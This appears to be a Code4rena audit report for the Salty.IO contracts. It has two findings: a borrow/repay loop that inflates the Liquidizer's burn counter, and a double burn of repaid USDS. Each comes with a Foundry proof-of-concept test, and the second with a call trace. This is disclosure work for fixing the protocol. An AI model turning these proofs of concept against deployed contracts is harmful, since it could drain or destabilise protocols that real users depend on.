Salty.IO - zach's results

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/stable/CollateralAndLiquidity.sol#L114-L135 https://github.com/code-423n4/2024-01-salty/blob/main/src/stable/USDS.sol#L51-L59

Vulnerability details

Impact

User can call borrow and repay in a loop many times, the liquidizer contract may become unable to fulfill its intended functionality of burning USDS.

Proof of Concept

User can inflate the usdsThatShouldBeBurned variable in the liquidizer contract by repeatedly borrowing and repaying USDS in a loop. Liquidizer contract is unable to burn the required amount of USDS due to insufficient liquidity.

Here is the poc code:

function testLoopBorrowRepay() public{
        vm.startPrank(alice);
        uint256 beforeShouldBurn = liquidizer.usdsThatShouldBeBurned();
        uint256 wbtcBalance = wbtc.balanceOf(alice);
        uint256 wethBalance = weth.balanceOf(alice);

	collateralAndLiquidity.depositCollateralAndIncreaseShare(wbtc.balanceOf(alice), weth.balanceOf(alice), 0, block.timestamp, true );
	uint256 maxUSDS = collateralAndLiquidity.maxBorrowableUSDS(alice);
		
        for (uint i=0;i<10;i++){
            collateralAndLiquidity.borrowUSDS( maxUSDS );
            collateralAndLiquidity.repayUSDS(maxUSDS);
            deal(address(wbtc), alice, wbtcBalance);
            deal(address(weth), alice, wethBalance);
        }
        uint256 shouldBurn = liquidizer.usdsThatShouldBeBurned();
        assertEq( shouldBurn, beforeShouldBurn+maxUSDS*10 );
        assertEq(collateralAndLiquidity.usdsBorrowedByUsers(alice),0);
    }

Tools Used

Manual

Recommended Mitigation Steps

implement restrictions on the frequency or conditions under which borrow and repay actions can be executed in quick succession.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/stable/USDS.sol#L51-L59 https://github.com/code-423n4/2024-01-salty/blob/main/src/stable/CollateralAndLiquidity.sol#L114-L135

Vulnerability details

Impact

The vulnerability is a potential double-burning of USDS tokens due to the interaction between the repayUSDS function and the external burnTokensInContract function in the USDS contract. The repaid amount of usds tokens will be burned twice.

Proof of Concept

Here is the poc code:

function testRepayAndBurn() public{
    uint256 beforeShouldBurn = liquidizer.usdsThatShouldBeBurned();
    _depositCollateralAndBorrowMax(alice);
    vm.prank(alice);
    collateralAndLiquidity.repayUSDS(1 ether);
    assertEq( collateralAndLiquidity.maxBorrowableUSDS(alice), 1 ether );
    
    uint256 beforeSupply = usds.totalSupply();
    usds.burnTokensInContract();
    uint256 afterSupply = usds.totalSupply();
    uint256 afterShouldBurn = liquidizer.usdsThatShouldBeBurned();

    assertEq(beforeSupply-afterSupply, 1 ether);
    assertEq(afterShouldBurn-beforeShouldBurn, 1 ether);

		deal(address(usds), address(liquidizer), 1 ether);
    upkeep.performUpkeep();
    uint256 lastSupply = usds.totalSupply();
    assertEq(afterSupply-lastSupply, 1 ether);
}

And here is the poc result:

├─ [327] USDS::totalSupply() [staticcall]
    │   └─ ← 240561875000000000000000000 [2.405e26]
    ├─ [3120] USDS::burnTokensInContract()
    │   ├─ emit Transfer(from: USDS: [0xe04adeE0B2C5ec1df38e07cABd6365689B0305e8], to: 0x0000000000000000000000000000000000000000, value: 1000000000000000000 [1e18])
    │   ├─ emit USDSTokensBurned(amount: 1000000000000000000 [1e18])
    │   └─ ← ()
    ├─ [327] USDS::totalSupply() [staticcall]
    │   └─ ← 240561874000000000000000000 [2.405e26]
    ├─ [363] Liquidizer::usdsThatShouldBeBurned() [staticcall]
    │   └─ ← 1000000000000000000 [1e18]
    ├─ [2555] USDS::balanceOf(Liquidizer: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4])
    │   └─ ← 0

│   │   │   ├─ [555] USDS::balanceOf(Liquidizer: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4]) [staticcall]
    │   │   │   │   └─ ← 1000000000000000000 [1e18]
    │   │   │   ├─ [18343] USDS::transfer(USDS: [0xe04adeE0B2C5ec1df38e07cABd6365689B0305e8], 1000000000000000000 [1e18])
    │   │   │   │   ├─ emit Transfer(from: Liquidizer: [0x6Ce8c8F0056c6BBef8F59cDFe8F907e9583710B4], to: USDS: [0xe04adeE0B2C5ec1df38e07cABd6365689B0305e8], value: 1000000000000000000 [1e18])
    │   │   │   │   └─ ← true
    │   │   │   ├─ [3120] USDS::burnTokensInContract()
    │   │   │   │   ├─ emit Transfer(from: USDS: [0xe04adeE0B2C5ec1df38e07cABd6365689B0305e8], to: 0x0000000000000000000000000000000000000000, value: 1000000000000000000 [1e18])
    │   │   │   │   ├─ emit USDSTokensBurned(amount: 1000000000000000000 [1e18])
    │   │   │   │   └─ ← ()
    │   │   │   └─ ← ()

Tools Used

Manual

Recommended Mitigation Steps

The usds tokens should send to liquidizer contract.

Assessed type

Other